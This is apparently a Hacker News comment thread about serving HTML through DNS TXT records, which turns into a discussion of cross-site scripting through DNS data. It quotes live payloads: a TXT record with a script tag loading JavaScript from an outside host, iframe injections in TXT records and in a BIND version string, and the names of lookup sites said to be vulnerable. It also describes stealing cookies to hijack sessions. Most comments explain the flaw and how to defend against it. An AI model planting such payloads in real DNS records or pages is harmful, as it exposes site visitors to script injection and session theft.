998 points · by ryanskidmore · 12y ago · 228 comments
1. DNS query for TXT record for example.com
2. DNS reply with HTML content
Compared with the traditional 7 steps: 1. DNS query for A record for example.com
2. DNS reply with x.x.x.x
3. TCP SYN to port 80
4. TCP SYN/ACK
5. TCP ACK
6. HTTP GET
7. HTTP reply with HTML content
It would also make the content super-distributed, super-reliable, as DNS servers cache it worldwide (and for free so it would reduce hosting costs :D). Also TXT records can contain more than 255 bytes as long as they are split on multiple strings of 255 bytes in a DNS reply.Again, I am only half serious, but this is an interesting thought experiment...
Edit: oddtarball: DNSSEC would solve spoofing. And updates should take no longer than the DNS TTL to propagate: the TTL is under your control; you could set it to 60 seconds if you wanted. It is a common, false misconception that many DNS resolvers ignore the TTL. Some large web provider (was it Amazon? I forget) ran an experiment and demonstrated that across tens or hundreds of thousands of clients wordlwide, 99% of them saw DNS updates propagated within X seconds if the TTL was set to X seconds. Only <1% of DNS resolvers were ignoring it.
(Why? Lots of captive portal wifi hotspots (think hotel/train etc) seem to allow DNS resolutions before stopping your other traffic.)
* DNS uses port 53 which is the same as the atomic number for Iodine ;)
http://www.neustar.biz/blog/how-to-identify-prevent-dns-tunn...
Good. Still, it needs to be pointed out. This idea is an awesome hack to show how can you piggyback on existing infrastructure to make it work as something it was not intended to.
But it absolutely, terribly sucks at anything practical. Actually, it's a non-solution. Here's why.
> There are way fewer network round trips:
> 1. DNS query for TXT record for example.com
> 2. DNS reply with HTML content
Let me show an exactly equivalent alternative implementation of the above concept.
1. HTTP GET x.x.x.x/example
2. HTTP reply with HTML content
Both of them require you to do exactly the same steps - that is, connect to a hardcoded port of a server at a hardcoded IP address, request a user-defined resource, receive and display reply. DNS is not magic, IP addresses of DNS servers are hardcoded in your network configuration and/or in your router configuration and/or in your ISP configuration.I know you're half-serious with this idea, but I'm going to play along. So to continue with the interesting thought experiment... if people were to start actually using DNS records to smuggle websites, they'd quickly overwhelm the capabilities of the DNS network, so the reliability and free hosting would quicky go out of window, along with all hope of ever having anything even resembling consistency in the Internet.
So yeah; a nice hack, but kids, don't try to deploy it at scale ;).
The steps are not exactly the same. Any sensible ISP give you at least two redundant DNS servers with your DHCP response and most public DNS providers also give you multiple redundant servers. When you do a DNS lookup, your OS or browser handles failover between the DNS servers automatically, client side. When accessed by IP address, as you've demonstrated, HTTP offers no client-side failover mechanism built into web browsers to fall back to a different IP.
It's additionally important to note that architecturally, DNS servers are far more scaleable than most HTTP servers. They don't run anywhere near as much code per request and don't require the overhead of TCP or HTTP.
Note that I'm also not encouraging using DNS instead of HTTP for serving websites, I'm just pointing out that DNS is a more reliable technology and has client-side failover mechanisms so the pros which mrb listed are very real.
Exercise for the reader (the proxy soln): write a server called txtdns.com that returns the content of TXT records as HTML. The path would look like http://txtdns.com/example.com - and the key is that the server is only accessing DNS, even though your client is using TCP and HTTP.
(and probably be easier to boot, given the right scripting language/libraries that should be doable in 10-30 lines of code or so)
1. TCP SYN to port 80
2. TCP SYN/ACK
3. TCP ACK
4. HTTP GET
5. HTTP reply with HTML content- It could take multiple days to update the website for the entire world
- It would be very easy to spoof the entire site
- It would probably slow down the rest of the queries the DNS server would be responding to at the time.
Also, updating DNS can be a pain for sites that aren't managing their own records.
[1] https://tools.ietf.org/html/draft-ietf-dnsind-kitchen-sink-0...
I already did this many years ago. It works well.
I also do not use DNSSEC (unencrypted DNS packets) opting instead for dnscurve (encrypted DNS packets).
What is still missing from the DNS world is a server that can handle pipelined (TCP) DNS queries (multiple lookups in the same request). I think the spec allows for it but no one ever implemented it as far as I know.
In your thought experiment, that would be "HTTP/1.1 pipelining".
I use HTTP pipelining everyday via command line utlities and where "web browsing" is concerned I find it hard to live without.
You can still see how it worked: http://whois.domaintools.com/isinterneton.com
It defined a few nameservers,
IS-INTERNET-ON.TITLE.ISINTERNETON.COM
YES.BODY.ISINTERNETON.COM
The server reads these values and constructs a page like, <title>Is Internet On</title>
<body>Yes</body>If you want more stuff you have to use TCP and that is not very preferable.
As far as the 65535 limit, from RFC 2671:
4.5.5. Due to transaction overhead, it is unwise to advertise an
architectural limit as a maximum UDP payload size. Just because
your stack can reassemble 64KB datagrams, don't assume that you
want to spend more than about 4KB of state memory per ongoing
transaction.Here is a extention that "fixes" it: https://tools.ietf.org/html/draft-ietf-dnsind-udp-size-02 I have not seen that spec extention implemented in the wild. I just found the extention so I have on the other side not looked for it.
Why say that at all? Is it a way to fend off ridicule? Or does this show a lack of confidence in the idea and what you are saying?
Reminds me of comments that start "Am I the only one who thinks that..."
I've gotten out of the habit of apologizing for things that I say or prefacing them with phrases such as that. The reason is that I found that it was a lazy way to not give as much thought to what I was saying and whether I needed to vet my thoughts more.
Or downvoting as they have done with my comment.
http://dig.whois.com.au/dig.php?dom=jamiehankins.co.uk&type=...
http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....
You could have just alert'd, too, but no. Harlem Shake. Bravo.
The rickroll was the first bit I noticed o_0
The point here is that:
1. DNS TXT records can contain HTML, including scripts and whatever.
2. Domain registrants can publish arbitrary TXT records.
3. TXT records can appear in pages generated by web sites which serve, for instance, as portals for viewing domain registration information, including DNS records such as TXT records.
4. Thus, such sites are vulnerable to perpetrating cross-site-script attacks (XSS) on their visitors if they naively paste the TXT record contents into the surrounding HTML.
5. The victim is the user who executes a query which finds the malicious domain which serves up the malicious TXT record that is interpolated into the displayed results. The user's browser executes the malicious code.
Thus, when you are generating UI markup from pieces, do not trust any data that is pulled from any third-party untrusted sources, including seemingly harmless TXT records.
Edit: I found my data and have a grep running on it, will share what turns up.
Edit2: Somewhat less exciting than I remember:
$ fgrep -- '>' *
x.x.101.130.csv:1298607746,155.92.101.130,<hostname>.nebula.msoe.edu.
x.x.110.35.csv:1298587462,41.191.110.35,www.ahnigeria.org\032<http://www.ahnigeria.org/>.
x.x.126.67.csv:1298594206,75.127.126.67,\032>.
x.x.229.74.csv:1298608599,139.78.229.74,<hostname>.suites.osuit.edu.
x.x.39.239.csv:1298594005,129.89.39.239,<hostname>.uits.uwm.edu.
x.x.49.198.csv:1298613894,195.164.49.198,test.str!\@#\$%^&*\(\)}{\":]['><.,end.domain.test.pl.
x.x.49.199.csv:1298613720,195.164.49.199,test.str<hr><br>end.domain.test.pl.
x.x.49.206.csv:1298603066,195.164.49.206,test.str<hr><bR>omain.test.pl.
x.x.88.109.csv:1298606801,95.211.88.109,ilo.>.88.211.95.in-addr.arpa.
Only takes 5 minutes to create an account.
http://dig.whois.com.au/dig.php?dom=philipithomas.com&type=A...
Embed a live DIG result (do a diggle):
<script type="text/javascript" src="http://dig.whois.com.au/diggle/philipithomas.com"></script>
Now, if you embed a 'diggle', that sound like an infinite loop possibility. Interesting, does anyone want to try it?$ host -t TXT jamiehankins.co.uk
;; Truncated, retrying in TCP mode.
jamiehankins.co.uk descriptive text "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"
jamiehankins.co.uk descriptive text "v=spf1 include:spf.mandrillapp.com ?all"
jamiehankins.co.uk descriptive text "<script src='//peniscorp.com/topkek.js'></script>"
jamiehankins.co.uk descriptive text "google-site-verification=nZUP4BagJAjQZO6AImXyzJZBXBf9s1FbDZr8pzNLTCI"
Why is mandrillapp.com (tranactional email startup) included?
Any website I can inject malicious javascript into, I can steal your cookies from (assuming the httponly flag isn't set on the cookie).
If you were logged into one of these whois sites and they didnt have the httponly flag set on your auth cookie, an attacker could send you to a page on the site that contains malicious javascript that could phone home with your auth cookie, letting the attacker hijack your session.
You can defend your own websites from these kinds of attacks by setting up a Content Security Policy and using the 'httponly' flag on auth cookies.
Imagine being logged in as your hostmaster account on http://your-registrar.com/, and having a malicious website redirect you to http://your-registrar.com/webtools/nslookup-tool.php?domain=....
But yes, XSS is a serious problem. Even if it's done in a site that handles no valuable info (sites that display whois normaly handle very valuable info), it can be used to launch attacks against other sites.
Firefox needs to show the 'play' icon for the audio tag.
It's the users' resistance to the slightest inconvenience that makes security so hard.
https://web.archive.org/web/20140918191824/http://who.is/dns...
http://builtwith.com/script-tags-in-TXT-records.txt
There's a few that are "13h.be/x.js" that look like someone trying this out before.
Never trust user input.
Edit: See http://www.dnswatch.info/dns/dnslookup?la=en&host=jamiehanki... for the actual code.
Never trust any input. I think this is a case where people assume that is isn't pure user input because is would have already been parsed/checked/verified.
"Oh, its in the DNS system so it must be safe" is worse then "well, it came from our database so it should be fine". Don't even trust something coming out of your own database. You never know what various input checking bugs might have accidentally let in over time.
Never trust your program's output
You should have two sets of sanitization, one that sanitizes incoming data, and one that sanitizes outgoing data.
http://mxtoolbox.com/SuperTool.aspx?action=txt:jamiehankins....
mike@glue:~$ dig +short chaos txt version.bind @198.211.125.252
"<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1' frameborder='0' allowfullscreen></iframe>"
I put this in my named.conf:
version "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1' frameborder='0' allowfullscreen></iframe>";
This site is vulnerable:
http://dnscheck.pingdom.com/?domain=grepular.com
Although takes a minute before it kicks in. I did report it to them at the time, but never got a response.
"I acknowledge the code just written does not trust its input, under penalty of being whipped by a wet noodle."
But I guess folks would just click through.
Sigh.
jamiehankins.co.uk. 33 IN TXT "<script src='//peniscorp.com/topkek.js'></script>"
jamiehankins.co.uk. 33 IN TXT "<iframe width='420' height='315' src='//www.youtube.com/embed/dQw4w9WgXcQ?autoplay=0' frameborder='0' allowfullscreen></iframe>"$ dig txt jamiehankins.co.uk
Cleverness aside, it is practical when looking for XSS vulnerabilities because it's very obvious when you've succeeded in injecting your code.
although i dont believe it should be, a third party injecting javascript to demonstrate an exploit might be...
"<script src='//peniscorp.com/topkek.js'></script>"
Because that is all this is.